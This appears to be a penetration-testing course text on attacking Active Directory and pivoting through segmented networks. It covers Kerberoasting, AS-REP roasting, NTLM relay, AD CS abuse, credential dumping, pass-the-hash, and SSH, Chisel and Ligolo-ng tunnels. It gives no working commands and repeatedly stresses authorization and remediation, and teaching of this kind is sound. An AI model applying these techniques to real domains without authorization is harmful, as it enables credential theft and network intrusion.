Internal Networks & Active Directory

Once an attacker or tester has a single domain foothold — a phished laptop, a misconfigured web shell on a domain-joined host, a sprayed user VPN — the security story becomes identity: who trusts whom, who can admin what, which ACLs are overgrown, and where credentials reuse collapses isolation. Firewalls still matter for segmentation, but many 'flat' networks make every workstation a potential path to Domain Admin.

Active Directory centralizes authentication and authorization for users, computers, groups, GPOs, and service identities. Misconfigurations accumulate for years: nested groups nobody maps, ACLs granted for temporary projects, service accounts with SPNs and weak passwords, unconstrained delegation left 'for the app to work.' Your job is structured enumeration and path analysis under authorization — not random exploitation of every CVE on every host.

Always frame techniques as authorized simulation. Production AD tests need clear RoE for password sprays, coercive authentication, DCSync-style actions, and intentional lockouts. Prefer read-oriented enumeration first; escalate impact only as objectives require.

Users, computers, groups, OUs, GPOs, and security principals form the directory. Authentication commonly uses Kerberos (tickets, SPNs, TGT/TGS) inside the domain and NTLM as legacy fallback. Understanding when each appears helps interpret Responder poison results, relay opportunities, and why disabling NTLM is a long journey for defenders.

A TGT proves the user to the KDC; a TGS lets the user authenticate to a service identified by SPN. Service accounts with SPNs and crackable passwords enable Kerberoasting. Accounts without pre-authentication enable AS-REP roasting. You will practice these in the next lesson — here, memorize the dependency graph so attacks are not magic scripts.

Trusts between domains/forests expand the graph. A path that stops at DA in a child domain may still matter if abuse of trust relationships is in scope. Do not assume forest root is always the crown jewel; sometimes a single tier-0 asset or cloud-synced identity is the real objective.

Local Administrator Password Solution (LAPS) and unique local admin secrets exist because shared local admin passwords turn one workstation compromise into a horizontal worm. Credential dumping concepts (taught carefully in post-ex modules) combine with admin reuse to detonate domains. Even without malware, administrative SMB/WinRM across the estate is enough.

When enumerating, note who has local admin on which hosts (BloodHound local admin edges, group membership, GPO restricted groups). Those edges often beat exotic ACEs for practical paths. Prioritize high-value servers and jump hosts in your mental model.

Tiering models (tier 0/1/2) are defender architecture; as a tester you measure whether the tiering is real or paper. Admins browsing the web on tier-0 identities is a finding in narrative form even before a technical exploit.

BloodHound (and collectors like SharpHound/RustHound) ingest relationships: group membership, sessions, ACLs, local admin, RDP rights, trusts, and more. The graph answers 'from principal A, what can I reach?' Shortest path to Domain Admins is a starting visualization, not the only interesting query. Custom queries for high-value targets, kerberoastable users, and dangerous ACEs build real skill.

Collection itself can be noisy. Agree on collection method and timing. Avoid treating graph edges as automatically exploitable without validating prerequisites (network path, auth protocol, defensive controls). False paths exist; verify in the lab before claiming domain compromise.

Learn to read why an edge exists: GenericAll on a user, ForceChangePassword, DCSync rights, WriteDacl on a group. The edge name is a clue to the abuse technique and to the remediation (remove ACL, fix nesting, enable PAW, etc.).

From a domain-joined foothold or valid creds: identify domain/forest, DCs, your privileges, interesting groups, policy hints (password, lockout), SPN-bearing accounts, shares, and sessions if available. Impacket examples, ldapsearch, NetExec/CrackMapExec, enum4linux-style SMB enum, and BloodHound collection each cover layers.

Stay organized: host lists, credential inventory (who works where), and path hypotheses in notes. Internal tests generate data fast; without structure you re-enumerate endlessly. Mark each technique with detection expectation for purple-friendly reporting.

Build GOAD, DetectionLab, or a small manual AD lab before client work. Muscle memory for safe syntax belongs on disposable domains where DC restore is a snapshot away.

A critical identity path (low-priv user to DA via ACL abuse) often outweighs a medium CVE on a print server. Rank by privilege gain, likelihood, and required conditions. Report paths as narratives: start principal, edges, end principal, proof performed, residual risk if you stopped short of full DA.

Clients need remediation that is operational: remove dangerous ACLs, implement LAPS, disable legacy protocols, constrain delegation, tighten service account rights, monitor for BloodHound-like LDAP collection and anomalous Kerberos requests. Map recommendations to the edges you abused.

Never 'own the domain for fun' beyond objectives. Proportional proof might be DCSync rights demonstration or a single sensitive file read — not ransomware simulation.

Kerberoasting requests service tickets for SPN-associated accounts and cracks them offline. Prerequisites: valid domain credentials (even low-priv), knowledge of SPNs, and offline cracking capability. Weak service account passwords remain common because 'the app breaks if we rotate.' In lab, use Impacket GetUserSPNs or Rubeus, then hashcat with the correct mode.

AS-REP roasting targets accounts with Kerberos pre-authentication disabled. No password needed for the request in classic form — only the ability to ask the KDC for AS-REP data for those users. Find candidates via LDAP attributes; crack offline. Fix is enabling pre-auth and strong passwords/MFA where applicable.

Report roasting as credential exposure risk with offline crack evidence for weak accounts. Do not crack and then reuse passwords widely beyond proof without scope. Prefer demonstrating one high-value service account recovery as impact.

NTLM relay captures authentication attempts and forwards them to a target that accepts NTLM and lacks mitigations (SMB signing, EPA, channel binding as relevant). Responder can poison name resolution on local segments to induce auth; coercion tools trigger machine accounts to authenticate to attacker-controlled listeners when the network and OS conditions allow.

Successful relay to LDAP/LDAPS or HTTP endpoints can yield privilege changes or resource access depending on target and signing settings. impacket-ntlmrelayx is the classic lab workhorse. Modern EDR and hardening break many textbook relays — document both success and blocked attempts; blocked attempts still educate clients on control effectiveness.

These techniques are noisy and dangerous on production. Explicit RoE, change windows, and sometimes co-monitored purple exercises are appropriate. Never coerce authentication on networks outside scope.

AD CS issues certificates that can become credential equivalents. Misconfigured templates and enrollment rights create ESC-class abuse paths popularized in research and tooling (Certipy). Treat this as mandatory literacy for serious AD work: enumerate CA, templates, enrollment permissions, and dangerous EKUs.

In lab, practice finding a vulnerable template, enrolling, and using the cert for authentication — then reverse the changes. On engagements, certificate theft and persistent certs have high impact and high sensitivity; handle artifacts carefully and disclose quickly.

Defenses include template hardening, manager approval, restricted enrollment groups, monitoring for anomalous enrollment, and treating CAs as tier-0.

With valid creds, lateral movement uses SMB, WinRM, WMI, RDP, and MSSQL links as paths allow. Impacket wmiexec/smbexec/psexec-style tools and NetExec automate many patterns; each leaves different forensic footprints. Prefer least noisy method that still proves access for the report.

Mimikatz-class techniques and LSASS access teach why Credential Guard, LSA protection, and admin tiering matter — but dumping credentials is highly sensitive. Only under authorization, minimize scope, and never leave tooling behind. Many engagements accept proof via directory rights or file access without full OPSEC-heavy red-team malware.

Pass-the-hash, pass-the-ticket, and overpass-the-hash are identity reuse patterns. Understand them conceptually and practice in lab; on clients, use them only as needed for objectives and note detection likelihood.

Isolated demos do not match attacker behavior. Example chain: sprayed user → Kerberoast service account → local admin on app server → read web.config → SQL SA → linked server → DA group via misconfig. Write the chain as a story with preconditions and places defenders could have interrupted it.

BloodHound paths should be validated step-by-step. If an edge fails (signing blocks relay, password not cracked), update the graph in your notes. Clients trust testers who show both successful and blocked paths.

Time-box: once DA or objective is proven, stop expanding chaos. Collect evidence, clean temporary objects you created (users, grants, shares) when policy requires, and transition to reporting.

Many classic tools are signatured. Lab success may not equal stealthy enterprise success. For pure vulnerability assessment engagements, noisy proof is often acceptable if coordinated. For red-team style goals, tradecraft expectations differ — clarify engagement type.

Avoid techniques that risk domain-wide outages (bad password sprays at scale, reckless DC changes) unless explicitly scoped. Prefer reversible, documented changes. Snapshot-friendly labs build confidence before client execution.

Always pair each technique in your notes with: prerequisites, command/evidence, detection idea, remediation. That four-tuple is purple-team gold and improves report quality.

Real networks segment OT, servers, workstations, and DMZs. Your initial shell is rarely on the same L3 network as the crown jewels. Pivoting is controlled use of a compromised host as a network hop — under authorization — to reach deeper subnets that routing from your attacker VM does not provide natively.

Without pivoting skills, AD paths that exist in BloodHound fail in practice because you cannot reach the host where the next edge executes. With pivoting, you simulate realistic attacker progression and produce findings about segmentation gaps.

Diagram constantly: attacker → foothold A → subnet B → target C. Label tunnel types and listening ports. Lost orientation is how operators scan the wrong interface or bounce traffic out of scope.

Local forward (-L): open a port on your machine that exits through the SSH server to a chosen target:port. Use for a single service (RDP, web admin, database) when you know the destination.

Remote forward (-R): open a port on the SSH server that connects back to a service on your side — useful for callbacks when the remote can SSH out to you. Dynamic forward (-D): SOCKS proxy on your side through the SSH host, ideal for exploratory access to a whole subnet with proxychains or browser proxying.

Prefer SSH when you have interactive credentials and sshd is available. It is auditable, simple, and often already allowed. Jump hosts (-J) and ProxyJump simplify multi-hop. Keep ControlMaster/ControlPath options in mind for stable sessions during long assessments.

When you only have code execution without SSH, or need reverse tunnels through egress-friendly ports, Chisel provides TCP/SOCKS tunnels over HTTP. Typical pattern: Chisel server on attacker, client on foothold connecting outbound, then SOCKS or port forwards into internal ranges.

Ligolo-ng creates a userland TUN interface experience that often feels cleaner than classical SOCKS for routing entire subnets. Learn both; choose based on lab constraints, binary availability, and whether you need layer-3 style routing vs per-tool proxy env vars.

Transfer of tunnel binaries must respect OPSEC and authorization. On engagements, use approved tooling paths; in labs, practice dropping, executing, and removing clients cleanly.

proxychains forces TCP connections through SOCKS. Many tools work; some (raw SYN scans, UDP, ICMP) do not. Prefer TCP connect scans (nmap -sT) through SOCKS. Expect slowness; reduce parallelism; target focused ports first.

DNS through pivots is a common footgun: resolution may happen on the wrong side of the tunnel. Use /etc/hosts entries, tools' resolve options, or Ligolo-style routing carefully. Wrong DNS can send traffic to out-of-scope public IPs.

Test the pivot with a single curl or nmap to a known internal IP before launching wide scans. Confirm scope lists still apply on the far side of the tunnel.

Double-hop labs teach chain stability: attacker → DMZ web shell host → internal jump → AD subnet. Each hop adds latency and failure points. Automate reconnect notes; save working command lines in the engagement folder.

Do not create persistent tunnels that outlive the engagement without explicit permission. Tear down listeners, kill client processes, and verify ports closed during cleanup phases.

Coordinate with blue teams when tunnels will look like C2. Unexpected reverse HTTPS from servers may page on-call staff — good purple learning if planned, bad surprise if not.

Pivots often produce findings such as: overly broad workstation-to-server routes, missing egress controls allowing tunnel C2-like channels, flat VLAN design, or jump host weaknesses. Frame impact as reduced effectiveness of segmentation controls.

Evidence includes diagrams, proof of reaching a sensitive service only via the pivot, and recommendations: stricter ACLs, identity-aware proxying, monitored PAWs, and blocking unnecessary east-west paths.

Tie back to AD: once pivoted into a server VLAN, re-run identity enumeration from the new position — paths may shorten.